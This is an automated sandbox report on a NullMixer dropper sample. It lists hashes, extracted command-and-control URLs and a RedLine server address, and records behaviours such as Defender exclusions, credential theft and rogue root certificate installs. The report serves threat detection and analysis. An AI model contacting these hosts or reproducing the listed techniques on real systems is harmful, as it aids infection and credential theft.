nullmixer | 799cb4b1d385475c155fae6fc0c214b059f191ed06b9229f287a8d9225ba8a21

Analysis

max time kernel
88s
max time network
151s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
07/10/2024, 07:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
1c44852292cf03e534ef8c2914b22436_JaffaCakes118.exe
Size 4.4MB
Sample241007-jgeb9axflb
SHA256 799cb4b1d385475c155fae6fc0c214b059f191ed06b9229f287a8d9225ba8a21
MD5 1c44852292cf03e534ef8c2914b22436
SHA1 39e0966477f02eadd10e35709d52567e9825f533
SHA512 7b37e8101bc2f6047f69b3283d6aa2f1344a3641b378f03c8b699fe45df742fde8f608204898e810118e47076374b8d9d51e28df71bdf8e530bd39757a906498
SSDEEP 98304:yUD14snMnUPEEjVhI2DWARNpBJsWqqOog664sGwjf:yUD6snYUM2VFycNDmBGwj
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

nullmixer privateloader redline sectoprat socelars vidar build1 aspackv2 discovery dropper execution infostealer loader persistence rat spyware stealer trojan

Malware Config

Extracted

Family

nullmixer

http://znegs.xyz/

Extracted

Family

socelars

http://www.iyiqian.com/
http://www.xxhufdc.top/
http://www.uefhkice.xyz/
http://www.fcektsy.top/

Extracted

Family

redline

Botnet

Build1

45.142.213.135:30058

Signatures

NullMixer
NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.
dropper nullmixer
PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 5 IoCs

resource	yara_rule
behavioral1/memory/2872-293-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral1/memory/2872-294-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral1/memory/2872-296-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral1/memory/2872-290-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral1/memory/2872-288-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 5 IoCs

resource	yara_rule
behavioral1/memory/2872-293-0x0000000000400000-0x000000000041E000-memory.dmp	family_sectoprat
behavioral1/memory/2872-294-0x0000000000400000-0x000000000041E000-memory.dmp	family_sectoprat
behavioral1/memory/2872-296-0x0000000000400000-0x000000000041E000-memory.dmp	family_sectoprat
behavioral1/memory/2872-290-0x0000000000400000-0x000000000041E000-memory.dmp	family_sectoprat
behavioral1/memory/2872-288-0x0000000000400000-0x000000000041E000-memory.dmp	family_sectoprat

Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars payload 3 IoCs

resource	yara_rule
behavioral1/files/0x000a00000001749c-24.dat	family_socelars
behavioral1/files/0x0005000000019616-118.dat	family_socelars
behavioral1/memory/2920-240-0x0000000000400000-0x0000000000B33000-memory.dmp	family_socelars

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Vidar Stealer 2 IoCs

stealer

resource	yara_rule
behavioral1/memory/1200-255-0x0000000000400000-0x0000000002CC9000-memory.dmp	family_vidar
behavioral1/memory/1200-275-0x0000000000400000-0x0000000002CC9000-memory.dmp	family_vidar

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2868	powershell.exe

ASPack v2.12-2.42 3 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral1/files/0x00070000000173ee-37.dat	aspack_v212_v242
behavioral1/files/0x000700000001746c-45.dat	aspack_v212_v242
behavioral1/files/0x00080000000173b2-40.dat	aspack_v212_v242

Executes dropped EXE 21 IoCs

pid	Process
2844	setup_installer.exe
2920	setup_install.exe
1272	0fd5c77ed90f39d5.exe
2780	4a448bcddaa0b3.exe
1308	268b3127b936e01.exe
828	28e2ddd2eed6.exe
2224	268b3127b936e0010.exe
1200	4aa1e8b379159.exe
2736	5298ab674.exe
572	21bcc8456d82.exe
484	b28b347be25f8ab8.exe
2420	8e14eeece3767.exe
2232	21bcc8456d82.exe
840	1cr.exe
1552	chrome2.exe
1744	setup.exe
1236	winnetdriv.exe
2772	services64.exe
2872	1cr.exe
1556	BUILD1~1.EXE
2516	sihost64.exe

Loads dropped DLL 59 IoCs

pid	Process
2148	1c44852292cf03e534ef8c2914b22436_JaffaCakes118.exe
2844	setup_installer.exe
2844	setup_installer.exe
2844	setup_installer.exe
2844	setup_installer.exe
2844	setup_installer.exe
2844	setup_installer.exe
2920	setup_install.exe
2920	setup_install.exe
2920	setup_install.exe
2920	setup_install.exe
2920	setup_install.exe
2920	setup_install.exe
2920	setup_install.exe
2920	setup_install.exe
2164	cmd.exe
1436	cmd.exe
2436	cmd.exe
1156	cmd.exe
1156	cmd.exe
1956	cmd.exe
1308	268b3127b936e01.exe
1308	268b3127b936e01.exe
3064	cmd.exe
828	28e2ddd2eed6.exe
828	28e2ddd2eed6.exe
2788	cmd.exe
2788	cmd.exe
2224	268b3127b936e0010.exe
2224	268b3127b936e0010.exe
1200	4aa1e8b379159.exe
1200	4aa1e8b379159.exe
628	cmd.exe
3056	cmd.exe
2736	5298ab674.exe
2736	5298ab674.exe
3056	cmd.exe
572	21bcc8456d82.exe
572	21bcc8456d82.exe
1484	cmd.exe
572	21bcc8456d82.exe
2232	21bcc8456d82.exe
2232	21bcc8456d82.exe
840	1cr.exe
840	1cr.exe
828	28e2ddd2eed6.exe
828	28e2ddd2eed6.exe
1056	WerFault.exe
1056	WerFault.exe
1056	WerFault.exe
1744	setup.exe
1056	WerFault.exe
1552	chrome2.exe
840	1cr.exe
2872	1cr.exe
2872	1cr.exe
1556	BUILD1~1.EXE
1556	BUILD1~1.EXE
2772	services64.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	8e14eeece3767.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs

Web Service

T1102

flow	ioc
59	iplogger.org
60	iplogger.org
86	iplogger.org
87	iplogger.org
117	raw.githubusercontent.com
118	raw.githubusercontent.com
27	iplogger.org
29	iplogger.org

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	api.db-ip.com
2	ipinfo.io
5	ipinfo.io
14	api.db-ip.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 840 set thread context of 2872	840	1cr.exe	71

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\winnetdriv.exe	setup.exe
File opened for modification	C:\Windows\winnetdriv.exe	setup.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1056	2920	WerFault.exe	32

System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	268b3127b936e0010.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1cr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winnetdriv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5298ab674.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	28e2ddd2eed6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1cr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup_installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	21bcc8456d82.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1c44852292cf03e534ef8c2914b22436_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4aa1e8b379159.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	21bcc8456d82.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup_install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	268b3127b936e01.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BUILD1~1.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	4aa1e8b379159.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	4aa1e8b379159.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2560	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000b8d48fc8adfa6b4a805f1a4a681aaa6f00000000020000000000106600000001000020000000729401475116ace79c4d6c201809380ebcc8330529da1e7a55752e3020bb9fc7000000000e8000000002000020000000c0491fb44df539088ca1bf9c13d84b8279a0b346a41b0613b19a233a1d17c32620000000945a6a159a2f29f6d942ac2623b59bc39c6eb4bbf9183a9a299603b135a2d88d40000000adf05bbdaf8fc212fe6229c1fa48bd90fdcd1a55f5e81187f27da2dc1d1a51248f046144ef90591bd31db6a981453a9d7ccbc93bd3cfe0681094aafbd4944aba	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000b8d48fc8adfa6b4a805f1a4a681aaa6f000000000200000000001066000000010000200000008ec44dc810461d2e4a0f0ffb2901767908289f4fab2a5d9db31bf20dbd397f61000000000e80000000020000200000003e267b2204289517ea61fe65e5db2cfe82b654cc54c35ec3cca1b7749871f09f9000000029d81750ee29b38fd43b027935ef61d1863d7f24255df7ec20851ff74c1a95c85018e55cbc9488186f78db8d44e678a943afce0b9fa26ea4f5326fdcf3490ebf82da5f652ff8c4d9f34eadebc5ed47962cb501690575c07a0dc6075302bf88ac6d17d96e23163870529e239658f9d664515eb02c10ab82175c83406e52826db3df17720ba1cc9a55eb29974e19f9c18740000000c108da72433d95198ab06413783e35c664c4331d4efa5f76aa49d7347e628670bb81552b4435f5ec3150b9400acd597e4916211543e43b4ca5a1b78ce45a32d6	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 800b9d0f8c18db01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{3A5D97E1-847F-11EF-B954-F2DF7204BD4F} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	4aa1e8b379159.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	services64.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	services64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	5298ab674.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	5298ab674.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	4aa1e8b379159.exe
